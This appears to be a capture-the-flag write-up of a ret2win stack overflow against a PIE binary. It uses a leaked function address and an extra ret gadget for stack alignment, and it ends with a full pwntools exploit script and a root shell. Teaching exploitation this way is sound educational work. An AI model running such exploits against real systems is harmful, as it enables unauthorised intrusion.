Target: <target-IP>:9007
Binary: random (x86-64, PIE, dynamically linked)
1. Recon — checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled (compiled in — hardware support was missing on the test machine, so not actually active in practice)
IBT: Enabled
Relevant to the approach:
- No canary → the stack overflow is directly exploitable without a canary leak.
- PIE on → addresses are randomized per run; a leak is needed to determine the load base.
- NX on → no shellcode injection; must go via code reuse (return-to-function).
- Full RELRO → the GOT is read-only, no GOT-overwrite path.
2. Source analysis
int win(){
system("/bin/sh\0");
}
void vuln(){
char *buf[0x20];
printf("I can give you a secret %llx\n", &vuln);
puts("Where are we going? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
Two things stand out:
printfleaks the runtime address ofvuln()— this breaks PIE.read(0, buf, 0x200)reads 512 bytes into a buffer that is only 256 bytes large → stack-based buffer overflow.- There is already a ready-made
win()function that spawns/bin/sh— a classic ret2win.
3. Disassembly — determining offsets
Static offsets from nm/objdump (stay constant, regardless of ASLR):
| Symbol | Offset |
|---|---|
vuln |
0x1319 |
win |
0x1210 |
ret gadget (__libc_csu_fini, endbr64; ret) |
0x1424 |
Disassembly of vuln confirms the stack layout:
sub $0x100,%rsp ; 256 bytes local space
lea -0x100(%rbp),%rax ; buf starts exactly at rbp-0x100
mov $0x200,%edx ; read() reads 0x200 (512) bytes
call read@plt
...
leave
ret
buf spans the whole sub $0x100 block without padding, so:
- offset to saved
rbp= 256 bytes - offset to return address = 256 + 8 = 264 bytes
This was confirmed empirically locally with pwntools:
payload = cyclic(300)
# after crash: info registers rbp
cyclic_find(<rbp-value>) # → 256, matches the calculation
4. PIE leak → computing addresses
The leak (&vuln as a hex string after "I can give you a secret ") gives the runtime address of vuln. Because PIE shifts the whole image by one fixed value, relative distances between symbols stay equal to the static offsets:
pie_base = leaked_vuln - 0x1319
win_addr = pie_base + 0x1210
ret_gadget = pie_base + 0x1424
5. The pitfall: stack alignment
A bare payload = b"A"*264 + p64(win_addr) crashes, even with the fully correct address. Reason: vuln() returns to win() via an overwritten ret, instead of via a normal call. That shifts the stack alignment by 8 bytes. win() calls system(), and glibc's do_system() internally uses SSE instructions that require 16-byte alignment — result: SIGSEGV deep inside do_system (confirmed via gdb: crash at do_system+363, not at the ret of vuln).
Fix: insert one extra ret gadget between the padding and win_addr. That gadget does nothing but immediately execute another ret, shifting rsp by 8 bytes — exactly enough to restore the alignment before system() is called.
payload = b"A" * 264
payload += p64(ret_gadget) # restores 16-byte alignment
payload += p64(win_addr)
6. Fastest path summarized
checksec→ no canary, PIE on, NX on, Full RELRO.- Disassemble
vuln/win→ static offsets + confirm thatbufsits directly atrbp-0x100(no padding). - Confirm the offset to the return address locally with
cyclic()+cyclic_find()→ 264. - Connect, read the leak, compute
pie_base = leak - 0x1319. - Build the payload:
264 bytes padding + ret gadget (pie_base+0x1424) + win_addr (pie_base+0x1210). - Send,
interactive()→ root shell.
7. Exploit
#!/usr/bin/env python3
from pwn import *
HOST = "<TARGET_IP>"
PORT = 9007
VULN_OFFSET = 0x1319
WIN_OFFSET = 0x1210
RET_OFFSET = 0x1424
OFFSET_TO_RET = 264
io = remote(HOST, PORT)
io.recvuntil(b"I can give you a secret ")
leaked_vuln = int(io.recvline().strip(), 16)
pie_base = leaked_vuln - VULN_OFFSET
win_addr = pie_base + WIN_OFFSET
ret_gadget = pie_base + RET_OFFSET
payload = b"A" * OFFSET_TO_RET
payload += p64(ret_gadget)
payload += p64(win_addr)
io.recvuntil(b"Where are we going? : ")
io.sendline(payload)
io.interactive()
8. Result
$ id
uid=0(root) gid=0(root) groups=0(root),987(docker)
Root shell obtained on the remote target.
9. Key lessons
- A PIE leak of a function address is enough to fully break ASLR, as long as you know the static offsets of your targets.
char *buf[N]on the stack behaves here simply as a raw buffer ofN*8bytes — the layout follows directly fromsub $0x...,%rspin the disassembly.- A return-address overwrite that jumps directly to a function that calls
system()can still fail due to stack misalignment — not every crash after a "correct" exploit means a wrong address or a mitigation; check first where the crash is (in your own code, or deeper in libc) before assuming a mitigation. SHSTK/IBTin checksec only say something about how the binary was compiled, not whether the runtime (CPU/kernel) actually enforces it — check that separately via/proc/cpuinfoand/proc/<pid>/statusbefore pointing to a mitigation as the blocker.